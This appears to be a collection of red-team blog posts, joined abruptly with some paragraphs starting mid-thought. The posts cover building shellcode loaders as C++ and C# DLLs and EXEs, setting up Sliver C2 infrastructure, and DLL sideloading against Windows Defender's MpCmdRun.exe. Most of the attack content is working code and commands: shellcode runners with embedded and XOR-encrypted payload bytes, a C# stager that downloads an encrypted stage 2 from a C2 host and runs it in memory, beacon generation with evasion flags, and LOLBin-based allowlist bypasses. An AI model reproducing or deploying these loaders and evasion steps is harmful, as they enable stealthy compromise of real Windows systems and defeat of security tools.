Executables (.exe files) are typically more likely to get scrutinzed by AV/EDR solutions, but not always. Instead of using EXE’s we can compile a malicious Dynamic-Link Library (.dll) and use a different method to somehow execute it which will be more likely to blend in with operating system behaviour. Living off the land Binaries (aka LOLBins) can be used to launch our compiled DLL depending using different execution methods.
Note that using DLLs are often a more realistic way for us to launch our code by blending in with legitimate operating system processes and network activity.

C++ DLL Payload

To create a DLL in C++ with Visual Studio, go to New Project -> Language = C++ -> Select “Dynamic Link Library (DLL)”.
Below is an example of our initial C++ payload which we’ve modified to a DLL:

#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = {
  <SHELLCODE BYTES - Removed for brevity>
};

unsigned int shellcode_len = sizeof(shellcode);

DWORD WINAPI ShellcodeRunner(LPVOID lpParameter)
{
    void* exec_buffer; // memory buffer for shellcode
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

    // 1. Allocate buffer for shellcode
    exec_buffer = VirtualAlloc(0, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // 2. Copy shellcode to buffer
    RtlMoveMemory(exec_buffer, shellcode, shellcode_len);

    // 3. Make the buffer executable
    rv = VirtualProtect(exec_buffer, shellcode_len, PAGE_EXECUTE_READ, &oldprotect);

    if (rv != 0) {
        // 4. Run the payload
        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_buffer, 0, 0, 0);
        WaitForSingleObject(th, -1);
    }

    return 0;
}

// Program entry point
BOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved )
{
    HANDLE th;
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        // Create a thread to call our shellcode runner function
        th = CreateThread(NULL, 0, ShellcodeRunner, NULL, 0, NULL);
        CloseHandle(th);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

In the above C++ code, the DllMain function is the default entry point for a DLL which is where the program starts. When a process loads the DLL (DLL_PROCESS_ATTACH), we want to create a new thread to run our shellcode function, ShellcodeRunner(). This function is the exact code from our previous C++ executable and should look familiar.

Notice that we use the CreateThread API function here. This is where we call the function we want to create a new thread, aka our shellcode execution function. The CreateThread function takes 6 arguments which are detailed in the Windows API docs. The main argument we need to supply is the 3rd arg, lpStartAddress, which is a “pointer to the application-defined function to be executed by the thread”. This is the place we call our shellcode function which will run upon launching the DLL.

In order to execute our DLL, we’ll need an executable that will call our DLL. One common method to perform this is referred to as “DLL sideloading” or “Dll search order hijacking” which we can use by hijacking the Windows default search order of where DLLs are loaded from. If we place a DLL into the same folder as an EXE that is expected to load a DLL as the same name of our malicious DLL, Windows will search the directory of where the EXE was loaded first, and therefore execute our DLL of the same name. There are many, different, resources for this online so we’re not going to get into it here.

To launch the DLL for the sake of testing, we can use the Rundll32.exe LOLBin with the following syntax, where compiled-payload.dll is the name of our DLL and DLlMain is the default entry point. Upon execution, there should be an error from rundll32 but the program should also pop our calc.exe shellcode.
rundll32.exe compiled-payload.dll,DllMain

C# EXE Payload

Before we can begin to write malware in C#, we need to understand the difference between “managed code” and “unmanaged code” from the .NET Framework. Managed code is code that is managed by the Common Language Runtime (CLR) in .NET, and unmanaged code is code executed directly by the OS. In order to use the typical Windows API functions in C# that we saw above in C++, we first need to import these functions using unmanaged code. This technique is refered to as Platform Invoke (PInvoke). See the following example for PInvoke provided by Microsoft:

// Reference: https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.dllimportattribute?view=net-8.0
using System;
using System.Runtime.InteropServices;

class Example
{
    // Use DllImport to import the Win32 MessageBox function.
    [DllImport("user32.dll", CharSet = CharSet.Unicode)]
    public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type);
    
    static void Main()
    {
        // Call the MessageBox function using platform invoke.
        MessageBox(new IntPtr(0), "Hello World!", "Hello Dialog", 0);
    }
}

In this example above, we use the [DllImport("user32.dll"] code to load the MessageBox API function from the user32.dll DLL. We can confirm that this function is within the specific DLL by looking at the MessageBox documentation here, shown below.

Now we can use this PInvoke technique to import our required Windows API functions for executing shellcode with unmanaged code!

To create an EXE in C#, we can use the following code template to launch shellcode and compile it with csc.exe using the following command (note that csc.exe is part of the .NET Framework):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe /platform:x64 /out:csharp_payload.exe csharp_EXE.cs

using System;
using System.Text;
using System.Runtime.InteropServices;

namespace Csharp
{
    class Program
    {
        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        private static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        static UInt32 PAGE_READWRITE = 0x04; //RW
        static UInt32 PAGE_EXECUTE_READ = 0x20; //RX

        // Main function
        static void Main(string[] args)
        {
            // Calc.exe shellcode
            byte[] shellcode = new byte[276] {
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,
                0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,
                0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
                0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,
                0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,
                0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
                0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
                0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,
                0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
                0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,
                0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00
            };

            // 1. Allocate shellcode
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, (0x1000 | 0x2000), PAGE_READWRITE);
            
            // 2. Copy shellcode to allocated space
            Marshal.Copy(shellcode , 0, (IntPtr)funcAddr, shellcode.Length);

            // 3. Change protection to executable
            uint oldprotection = 0;
            VirtualProtect((IntPtr)funcAddr, (uint)shellcode.Length, PAGE_EXECUTE_READ, out oldprotection);

            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;

            // 4. Execute
            hThread = CreateThread(0, 0, funcAddr, IntPtr.Zero, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }
    }
}//end namespace

You can identify the 5 main functions numbered in the code sample above which are used to launch our shellcode. There are also many small derivations of this code sample generally used to perform the same task of executing shellcode, so other code samples online may look slightly different but function the same.
Once you have your compiled payload, execute it by double-clicking the EXE or running it via command-line. If it works then you should see the Windows calculator (calc.exe process) pop up without errors!

C# DLL Payload

To create a C# DLL, small modifications to the above code would be needed. We’re not gong to cover this yet as the execution techniques are a bit more advanced and fit into the Evasion category (more on this in Part 2). But we can at least discuss how to execute DLL’s in C# by using different LOLBins.

To provide one basic example, we’ll look at the InstallUtil LOLBin which is part of the .NET Framework. The InstallUtil binary is normally used to install/uninstall server resources, however we can also use it to launch a malicious DLL. On 64-bit versions of Windows, by default it is installed at the path C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe. This technique is referred to as an “Application Allowlist Bypass” by using legitimate binaries to execute malicious code. Some similar .NET binaries for code execution include MsBuild or Microsoft.Workflow.Compiler.exe.

If you want to look at some of these DLL code samples, please look at the LOLBAS page for each LOLBin and check out the Resources section links.

That’s all for now, thanks for reading!

• Sliver installation
• Connecting and Setup
• Redirectors
• Beacons
• Staged Payloads

Sliver Installation

Sliver documentation: https://github.com/BishopFox/sliver/wiki

Spin up a Linux droplet/EC2/whatever to host your C2 server. Run the initial updates and install MinGW to allow compilation of shellcode/staged/DLL payloads:

apt update -y
apt update --fix-missing -y
apt install git mingw-w64 net-tools -y

Once the system is updated, Sliver is very easy to install using the setup script (reference):
curl https://sliver.sh/install|sudo bash
This will automatically start Sliver running in Daemon mode.

You can then create a client config on your Sliver server to allow “multiplayer” connections:
/root/sliver-server operator --name sliver-user --lhost "<SLIVER-IP>" --save /root/sliver-user.cfg
Download the output “sliver-user.cfg” file to your local host using SCP or whatever file transfer app you like which you will use to connect to the server using a Sliver client.

IMPORTANT STEP: Don’t forget to lock down your C2 server firewalls so that only you can access it. You can do this through firewalls in your cloud console, UFW rules, IPTables, etc. You will also need to open it up to your redirector (in our case over HTTPS) but more on this later.

I created some Terraform scripts to help automate this whole process in DigitalOcean found on my GitHub repository here.

Connecting and Setup

On your test system, download the Sliver client for your specific OS from the Sliver releases. Import your sliver-user.cfg config file from the previous steps and connect to the Sliver server with the following commands:

./sliver-client_OS import ./sliver-user.cfg  # Import client
./sliver-client_OS  # Connect to Sliver C2
Connecting to <SLIVER-IP>:31337 ...

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain assist
[*] Server v1.5.40 - c17c37857e54f0fa202c01cbd00a99a85f5f9f49
[*] Welcome to the sliver shell, please type 'help' for options

sliver >

For our red team setup, we’re going to use an HTTPS redirector pointing to your C2 server. We also need to make sure that the Sliver server is locked down using firewall rules by making it accessible ONLY to your own IP addresses and the soruce IPs of your redirector(s) open over port 443 to be the most opsec-safe. BE SURE that your Sliver server is NOT directly accessible over the Internet to anyone.
If you want to do this with UFW rules, it would look something like this:

# Allow your IPs
ufw allow from <YOUR-IP>
ufw allow from <YOUR-IP-2>
# Allow your redirectors over HTTPS
ufw allow from <REDIRECTOR-IP> to any port 443
ufw allow from <REDIRECTOR-IP> to any port 443
ufw allow from <REDIRECTOR-IP> to any port 443
# Start firewall
ufw enable # Select Y at prompt

Redirectors

We’re not actually going to cover HTTPS redirector setup as there are many different blogs and techniques to do this (i.e. how-to-guides, AWS lambda redirectors, bluescreenofjeff, etc.). So for the rest of this post we’ll assume you already have an HTTPS redirector setup!

Now we’ll have to start an HTTPS listener in Sliver which only accepts connections from our redirector host. But first we’ll need to setup an SSL certificate with a public/private key (without encryption as Sliver doesn’t accept encrypted private keys) to have a valid SSL/TLS connection. You could use a self-signed one (using the --self-signed option), but for red teams we would much rather have a valid/signed cert for our HTTPS connections to be less suspicious.

To create your SSL/TLS certificate for HTTPS communications with your listener, you can use whatever service/app you prefer. LetsEncrypt is probably the most common method, and recently I started using AWS Certificate Manager (ACM) certs.

To automate this with LetsEncrypt, I modified one of RedSiege’s script for setting up a cert Cobalt Strike and made it compatible with Sliver (Link HERE).

Drop the HttpsGenericC2DoneRight.sh script on your Sliver teamserver and run it with Sudo privileges. Enter in your C2 domain (with an A record pointing to your C2 server) and any private key password:

If everything works properly, the script should output you a domain store file, cert.pem and privkey.pem files in your /root directory. Copy these files to your local system with your Sliver client installed.

Listeners

HTTP Listener

Simply start an HTTP listener accepting connections from any domaon:
http --persistent

Start an HTTP listener accepting connections from your redirector domain:
http -d domain-pointing-to-sliver.com --persistent

HTTPS Listener

Using an above HTTPS redector, we can easily start an HTTPS listener which only accepts connections from your redirector domain:
https -d domaing-pointing-to-sliver.com --lhost <SLIVER-PRIVATE-IP> --lets-encrypt -p

It’s recommended to create an SSL/TLS certificate using the above HttpsGenericC2DoneRight.sh script (or similar technique) and copy it to your folder containing the Sliver client. Start your HTTPS listener pointing to your HTTPS cert:
https -d domaing-pointing-to-sliver.com --lhost <SLIVER-PRIVATE-IP> -c cert.pem -k privkey.pem -p

Note that the private key CANNOT be encrypted, otherwise it will fail.

Beacons

Sliver C2 implants communicate in 2 different ways: Beacons or Sessions. For red teams and better opsec we will always be using Beacons which use asynchronous communications that periodically check-in at a certain time interval. The alternative would be Sessions which use an established interactive mode connection (noisy and poor opsec).
Beacons function the same way Cobalt Strike communication channels work using asynchronous connections. The one downside of Sliver is that it doesn’t have a sleep mask like Cobalt Strike does, meaning the Beacon code won’t be obfuscated/encrypted in-memory while sleeping between connections.

To create new Beacon shellcode for Windows using your HTTPS redirector (you previously set this up right?), use the following command:
generate beacon --http https:/sliver-redirector.com --save /output/path/sliver-shellcode64.bin --seconds 60 --os windows --format shellcode --evasion

You can then encode/encrypt/obfuscate your output shellcode however you like and create a custom payload using it!

If you are up against a Linux environment and want to create an out-of-the-box Linux binary payload (ELF file format), use this command:
generate beacon --http https:/sliver-redirector.com --save /output/folder/ --seconds 60 --os linux --evasion

Staged Payloads

Useful links:

• https://github.com/BishopFox/sliver/wiki/Stagers
• https://dominicbreuker.com/post/learning_sliver_c2_06_stagers/

To create staged payloads, we’ll need to create two things: a profile and a staged listener. The profile will act as a configuration for our stage 2 payoad, and the staged listener will be a stage 1 listener/payload

First, to create a profile, use the following command which is similar to how we previously createed Windows shellcode. This will create the profile ‘https-win’:
profiles new beacon --http https://sliver-redirector.com --os windows --format shellcode --evasion https-win

Type profiles and you should see your ‘https-win’ profile created.

Next, we need to create a staged listener that links to our profile. In this case, I obfuscated the staged payload using gzip compression and AES encryption:
stage-listener --url http://sliver-domain:80 --profile https-win --compress gzip --aes-encrypt-key "LgUmeMnmUpRrCBRB" --aes-encrypt-iv "nStxRW5o6TNHcKBx"

Note: If you’re using your Sliver C2 server to host the stage 1 payload, you need to set it up on a different protocol/port as your HTTPS listener (which is why i used HTTP port 80). Alternatively, you can set it up, download the shellcode then host it anywhere else for better opsec (i.e. a cloud provider). If you host it elsewhere, don’t forget to kill your original staged listener so you don’t leave it exposed!

Once you create the staged listener, your stage 2 payload should be available at http://sliver-domain:80/AnythingHere.woff. Note the “.woff” extension to download your shellcode. This is due to the “stager_file_extension” setting in your Sliver config (reference). You could change this to any other extension you like in the configuration.

Now we need to create a stage 1 payload to reach out to download and decrypt/decode our stage 2 payload and then execute it. This should be as custom as possible for a red team, but a good starting point is the provided C# template here in the Sliver documentation (note for this payload you’ll have to add gzip compression if you chose that option in your stage-listener command).

For the standard template, update the C# payloads variables to fit your url, AES key, and AES IV at the top of the script. See a full sample payload here that’s slightly customized:

using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;

namespace Custom_Stager
{
    class Program
    {
        private static string url = "http://sliver-domain.com:80/text-fonts.woff";
        private static string AESKey = "LgUmeMnmUpRrCBRB";
        private static string AESIV = "nStxRW5o6TNHcKBx";

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        // Decrypt
        private static byte[] AESDecrypt(byte[] ciphertext, string AESKey, string AESIV) {
            byte[] key = Encoding.UTF8.GetBytes(AESKey);
            byte[] IV = Encoding.UTF8.GetBytes(AESIV);

            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = key;
                aesAlg.IV = IV;
                aesAlg.Padding = PaddingMode.None;

                ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

                using (MemoryStream memoryStream = new MemoryStream(ciphertext))
                {
                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
                    {
                        cryptoStream.Write(ciphertext, 0, ciphertext.Length);
                        return memoryStream.ToArray();
                    }
                }
            }
        }

        // Gzip 
        public static byte[] Decompress(byte[] input)
        {
            using (MemoryStream tmpMs = new MemoryStream())
            {
                using (MemoryStream ms = new MemoryStream(input))
                {
                    GZipStream zip = new GZipStream(ms, CompressionMode.Decompress, true);
                    zip.CopyTo(tmpMs);
                    zip.Close();
                }
                return tmpMs.ToArray();
            }
        }

        public static byte[] Download(string url) {
            ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
            System.Net.WebClient client = new System.Net.WebClient();
            byte[] shellcode = client.DownloadData(url);

            return shellcode;
        }

        public static void Execute(byte[] code) {
            List<byte> list = new List<byte> { };   

            for (int i = 16; i <= code.Length -1; i++) {
                list.Add(code[i]);
            }

            byte[] encrypted = list.ToArray();
            
            byte[] decrypted;
            decrypted = AESDecrypt(encrypted, AESKey, AESIV);   // First, AES decrypt

            byte[] decompressed = Decompress(decrypted);        // Second, GZip decompress
            
            // Execute stuff
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decompressed.Length, 0x3000, 0x40);
            Marshal.Copy(decompressed, 0, addr, decompressed.Length);

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);

            return;
        }

        // Main Entry
        public static void Main(String[] args) 
        {
            // Get stagd payload
            byte[] output = Download(url);

            Execute(output);

            return;
        }
    }
}

Compile the C# payload with csc.exe into an EXE for testing purposes: C:\windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe /platform:x64 /out:Sliver-payload.exe Sliver_staged-payload.cs

Run the output payload ./Sliver-payload.exe and you should see a new beacon pop up in Sliver!

Of course for a red team, we want to further customize the stage 1 payload to make it as unique and evasive as possible. It’s also recommended to use a DLL instead of an EXE as it will be better for evasion. We aren’t going to cover that here as this is just a proof-of-concept, but get as creative as possible to byass that AV/EDR!

Hope you all enjoyed the Sliver setup!

Instead, why not proxy your .NET tools through a SOCKS proxy using Proxifier on Windows? There are many required configurations for Proxifier and it doesn’t always work as expected in my experience, or its not always clear unless you dive into documentation. So I wanted to make a single point of reference on how to properly proxy .NET tools through Proxifier from a Windows host.

Here are the steps required to configure Proxifier on your Windows system:

1. Open Proxifier. Go to Profile -> Advanced -> Services and Other users -> Check the button “Windows services and other system processes” and hit OK
   

2. Go to Profile -> Name resolution -> Check the button “Resolve hostnames through proxy” and enter in your domain names you want to resolve through Proxifier
   

3. Go to Profile -> Proxy servers -> Add... -> Add a new proxy server with your proxy host/port -> Click Advanced... -> Check “Use target hostname in proxy request if available”
   

4. Next, go to Profile -> Proxification Rules... -> Add a new rule that captures ALL (Any) traffic sent to your target IPs/hostnames by adding them to the rule. I add a rule for both IP addresses and hostnames since DNS resolution doesn’t always work for me through Proxifier. For Action, be sure to select your configured SOCKS proxy server.
   

• Adding a new rule to capture ALL traffic for your target IPs:
  

• Both IP and hostnames rules added and assigned to your SOCKS proxy:
  

1. Start cmd.exe or powershell.exe as your domain user: runas /netonly /user:domain.com\user powershell.exe (enter password)
   NOTE: You can also start a GUI application here (i.e. Explorer.exe or a database viewer EXE) to proxy that application which requires Windows authentication.
   

2. Then use any .NET CSharp tools or any other command-ine tools in the new cmd/powershell window through your proxy! If it’s working properly you will see the tool’s executable name populate in the Proxifier window:
   

And that’s it, you’re all set!

To touch on the technical details of this functionality, Windows callback functions are “code within a managed application that helps an unmanaged DLL function complete a task. Calls to a callback function pass indirectly from a managed application, through a DLL function, and back to the managed implementation.” (Source: MSDN Windows Callback Functions

Simpuly put, callback functions can be used to execute a task from your code (such as exeucuting shellcode)! Your code with callback functions would look like this:

Some of the most common callback functions that you may have heard of are EnumFontFamilies(), EnumPrinters(), and EnumWindows(). On top of that, there were MANY more documented callback functions that could be abused to execute shellcode in Windows. Here are some of the favourites shared with me or that I came across myself:

• DamonMohammadbagher/NativePayload_CB
• aahmad097/AlternativeShellcodeExec
• VX Underground Windows malware
• Wra7h/FlavorTown

I realized that there were numerous resources for C/C++ code samples to execute shellcode via callback funtions, but fewer resources available for CSharp. So I decided to convert some C code callback samples to their CSharp equivalents or attempt to discover undocumented callback functions for shellcode execution.

Below is a list of all the callback functions I’ve created malware samples for (so far) to execute shellcode in CSharp:

AddPropSheetPageProc
CertEnumSystemStore
CertEnumSystemStoreLocation
CreateTimerQueueTimer
CryptEnumOIDInfo
DSA_EnumCallback
EncryptedFileRaw
EnumDateFormatsA
EnumFontFamiliesW
EnumLanguageGroupLocalesW
EnumObjects
EnumSystemCodePagesA
EnumSystemGeoID
EnumerateLoadedModules
FiberContextEdit
ImmEnumInputContext
InitOnceExecuteOnce
LdrEnumerateLoadedModules
NotifyIpInterfaceChange
NotifyTeredoPortChange
SetTimer
SetupCommitFileQueueW
StackWalk
SymEnumProcesses
SymRegisterCallback

And finally, here is the GitHub repo of all the documented callback function malware samples I created in CSharp:
LINK: My CSharp Alternative Shellcode Callbacks repo

In this post, we’ll walk through the following steps:

• What is DLL sideloading and DLL proxying
• How to choose an EXE and DLL to sideload
• How to create the malicous DLL to run shellcode
• How to find the exported functions needed to sideload the DLL
• Putting everything together for a successful DLL sideload attack

But first…

What is DLL sideloading?

Source: MITRE “Side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).”

So we need to choose a legitimate EXE, find a DLL that it loads from disk, create a malicious DLL which runs shellcode, then copy/upload the EXE and DLL to the same folder. Upon executing the EXE, it should sideload the malicious DLL hosted in the same folder.

What is DLL proxying

The specific technique of DLL hijacking we’ll walkthrough is called DLL proxying which uses the following steps:

1. EXE starts and calls malicious.dll in same folder
2. malicious.dll calls legitimate dll_orig.dll in same folder by exporting all functions from the legitimate DLL
3. Shellcode/payload runs in malicious.dll and also calls dll_orig.dll from the exported functions
   The execution flow of DLL proxying looks like this (Source: ired.team):

Choosing an EXE and DLL to sideload

There are various methods we can use to find a legitimate EXE and DLL which it loads from disk. A public repository and great resource called Hijack Libs can easily be used to search for known EXEs and DLLs that could be used for DLL sideloading or DLL hijacking. We could use this application to filter on specific vendors of types of DLL hijacks such as sideloading.

Alternatively, we could also use Procmon from Windows SysInternals to manually analyze existing running executables and determine which DLLs are being loaded by the process. We can load Procmon with the following filters to hunt for DLLs being loaded by 64-bit processes:

• Path -> ends with -> .dll
• Architecture -> is -> 64-bit (assuming we want 64-bit target EXEs)

We can scroll through the output of Procmon to find executables and DLLs that are currently being loaded on the system. As an example, if we wanted to search for a DLL sideload against Windows Defender’s AMSI scanner (MpCmdRun.exe), we can add the following filter:

• Process Name -> is -> MpCmdRun.exe
  

Then we can run the executable from its expected location %PROGRAMFILES%\Windows Defender\mpcmdrun.exe, and in Procmon we can see the DLLs being loaded by the MpCmdRun.exe process which we could attempt to sideload. The target DLL mpclient.dll looks like a good target!

The DLL mpclient.dll is also a known DLL sideload that can be found in Hijack Libs at this URL.

A third option for finding your own DLL sideloads is to use the publicly available tool Windows Feature Hunter (WFH) from @ConsciousHacker which has its own documentation and method for finding vulnerable DLL sideloads on your own system. If you prefer to go the easy route, there is a CSV list within the GitHub repo of discovered EXEs and their DLL sideloads found here which has over 900 DLL sideloads you could abuse. Another blog has many more DLL hijacking examples HERE.

Creating a malicious DLL

Once we’ve found our executable and DLL sideload to target, we can now start to create our malicous DLL which will execute shellcode. In this example, we’re going to target the MpCmdRun.exe (Windows Defender) process with the DLL sideload of mpclient.dll.

Start by creating a new C++ project in Visual Studio for a “Dyamic-Link Library (DLL)” or make a new TXT file in a text editor to manually write your DLL. Visual Studio will compile the C++ DLL for you, otherwise if you’re using a text editor then you can compile it using the cl.exe command-line utility.

We’re going to create a relatively straightforward DLL which uses XOR decryption to decrypt shellcode and launch it via CreateThread. Upon execution, the shellcode will launch calc.exe as a proof-of-concept.

Here is the template code for our malicious DLL mpclient.dll which will run shellcode to spawn calc.exe:

#include "pch.h"
#include <windows.h>

// XOR function
void XOR(char* data, size_t data_len, char* key, size_t key_len) {
	int j;

	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}

// Calc.exe shellcode (exit function = thread)
unsigned char payload[] = { 0xac,0x08,0xf0,0x97,0x87,0xd8,0xf0,0x30,0x72,0x64,0x60,0x01,0x01,0x23,0x21,0x26,0x66,0x78,0x01,0xa0,0x01,0x69,0xdb,0x12,0x13,0x3b,0xfc,0x62,0x28,0x78,0xf9,0x36,0x01,0x18,0xcb,0x01,0x23,0x3f,0x3f,0x87,0x7a,0x38,0x29,0x10,0x99,0x08,0x42,0xb3,0xdb,0x0c,0x51,0x4c,0x70,0x48,0x01,0x11,0x81,0xba,0x7e,0x36,0x31,0xf1,0xd2,0x9f,0x36,0x60,0x01,0x08,0xf8,0x21,0x57,0xbb,0x72,0x0c,0x3a,0x65,0xf1,0xdb,0xc0,0xfb,0x73,0x77,0x30,0x78,0xb5,0xb2,0x10,0x46,0x18,0x41,0xa3,0x23,0xfc,0x78,0x28,0x74,0xf9,0x24,0x01,0x19,0x41,0xa3,0x90,0x21,0x78,0xcf,0xf9,0x33,0xef,0x15,0xd8,0x08,0x72,0xa5,0x3a,0x01,0xf9,0x78,0x43,0xa4,0x8d,0x11,0x81,0xba,0x7e,0x36,0x31,0xf1,0x08,0x92,0x11,0xd0,0x1c,0x43,0x3f,0x57,0x7f,0x75,0x09,0xe1,0x07,0xbc,0x79,0x14,0xcb,0x33,0x57,0x3e,0x31,0xe0,0x56,0x33,0xef,0x2d,0x18,0x04,0xf8,0x33,0x6b,0x79,0x31,0xe0,0x33,0xef,0x25,0xd8,0x08,0x72,0xa3,0x36,0x68,0x71,0x68,0x2c,0x3d,0x7b,0x11,0x18,0x32,0x2a,0x36,0x6a,0x78,0xb3,0x9e,0x44,0x60,0x02,0xbf,0x93,0x2b,0x36,0x69,0x6a,0x78,0xf9,0x76,0xc8,0x07,0xbf,0x8c,0x8c,0x2a,0x78,0x8a,0x31,0x72,0x64,0x21,0x50,0x40,0x73,0x73,0x3f,0xbd,0xbd,0x31,0x73,0x64,0x21,0x11,0xfa,0x42,0xf8,0x18,0xb7,0xcf,0xe5,0xc9,0x84,0x3c,0x7a,0x4a,0x32,0xc9,0xd1,0xa5,0x8d,0xad,0x8d,0xb1,0x69,0xd3,0x84,0x5b,0x4f,0x71,0x4c,0x3a,0xb0,0x89,0x84,0x54,0x55,0xfb,0x34,0x60,0x05,0x5f,0x5a,0x30,0x2b,0x25,0xa8,0x8a,0xbf,0xa6,0x10,0x16,0x5c,0x53,0x1e,0x17,0x1c,0x44,0x50 };
unsigned int payload_len = sizeof(payload);

// Standard function to allocate memory, copy shellcode to it, and execute the thread
extern __declspec(dllexport) int RunThis(void);
int RunThis(void) {

	void* exec_mem;
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;

	// Decryption key
	char key[] = "P@ssw000rd!";

	// Decrypt the shellcode
	XOR((char*)payload, payload_len, key, sizeof(key));

	// Allocate memory
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// Copy payload to the buffer
	RtlMoveMemory(exec_mem, payload, payload_len);

	// Make the buffer executable
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	// If all good, run the shellcode
	if (rv != 0) {
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
		WaitForSingleObject(th, 0);
	}
	

	return 0;
}

//Runs as the Main() function
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {

	switch (fdwReason) {
		//DLL_PROCESS_ATTACH will run when the DLL is loaded within a process
	case DLL_PROCESS_ATTACH:
		RunThis();
		break;
	case DLL_THREAD_ATTACH:
		break;
	case DLL_THREAD_DETACH:
		break;
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

